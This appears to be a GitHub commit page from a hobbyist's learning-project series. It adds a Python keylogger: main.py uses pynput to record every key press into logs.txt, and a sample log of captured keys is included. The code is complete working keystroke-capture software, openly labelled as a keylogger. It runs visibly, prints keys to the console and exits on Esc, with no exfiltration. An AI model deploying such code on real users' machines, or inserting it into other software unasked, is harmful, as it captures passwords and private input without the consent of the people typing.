Skip to content

Commit c86a2e7

Browse files
committed
adding 8th Project
1 parent 0e90460 commit c86a2e7

File tree

2 files changed

+29
-0
lines changed

2 files changed

+29
-0
lines changed

Diff for: Project 8 - Python Keyloger/logs.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
s d f s d f s d f s d f s d f Key.esc

Diff for: Project 8 - Python Keyloger/main.py

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
import pynput
2+
from pynput.keyboard import Key, Listener
3+
4+
keys = []
5+
def on_press(key):
6+
keys.append(key)
7+
key_write(keys)
8+
9+
try:
10+
print("Alpha-numeric key {0} pressed ".format(key.char))
11+
except AttributeError:
12+
print("Special key {0} pressed ".format(key))
13+
14+
def key_write(keys):
15+
with open("logs.txt", 'w') as f:
16+
for key in keys:
17+
k = str(key).replace("'", "")
18+
f.write(k)
19+
f.write(" ")
20+
21+
def on_release(key):
22+
print("{0} released ".format(key))
23+
if key == Key.esc:
24+
print("Program Exit")
25+
return False
26+
27+
with Listener(on_press=on_press, on_release=on_release) as listener:
28+
listener.join()

0 commit comments

Comments
 (0)